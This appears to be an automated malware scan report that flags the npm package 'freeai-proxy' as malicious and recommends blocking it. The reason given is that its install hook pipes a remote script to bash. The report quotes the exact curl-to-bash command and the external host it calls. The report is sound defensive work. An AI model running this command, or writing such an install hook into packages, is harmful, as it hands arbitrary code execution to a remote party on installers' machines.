## Security analysis

### Published attack-surface review

- **Summary:** Installing the package on macOS or Linux executes code downloaded at install time from a remote host. The downloaded shell script is not present or integrity-pinned in the package.

- **Trigger:** npm package installation on macOS or Linux

- **Impact:** Remote host content can execute arbitrary shell commands with the installing user's privileges.

- **Evidence paths:** package.json, install.js, README.md

- **Review source:** ai\_review

- **Reviewed:** 2026-08-11T04:36:43.377Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** install-hook curl-to-bash remote payload execution

- **Attack narrative:** The npm install lifecycle invokes install.js. On macOS and Linux it runs \`curl -fsSL https://freeai-proxy.pages.dev/install.sh | bash\` through child\_process.execSync, granting an externally controlled, unpinned script shell execution during installation.

- **Rationale:** This is an unconsented install-time remote-code-execution chain. The package contains no local installer payload to inspect or integrity control for the script it executes.

- **Files touched:** package.json, install.js

- **Network endpoints:** https://freeai-proxy.pages.dev/install.sh

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json runs \`node install.js\` at install time., install.js pipes a remote script directly to bash via execSync., No checksum, version pin, or user confirmation protects the fetched code.

- **Evidence against:** README describes the script as installing a local AI proxy., Windows branch only prints a download instruction.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/freeai-proxy@1.0.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.install = node install.js
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/freeai-proxy@1.0.0/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.install = node install.js
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 5. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 6. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 70.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.
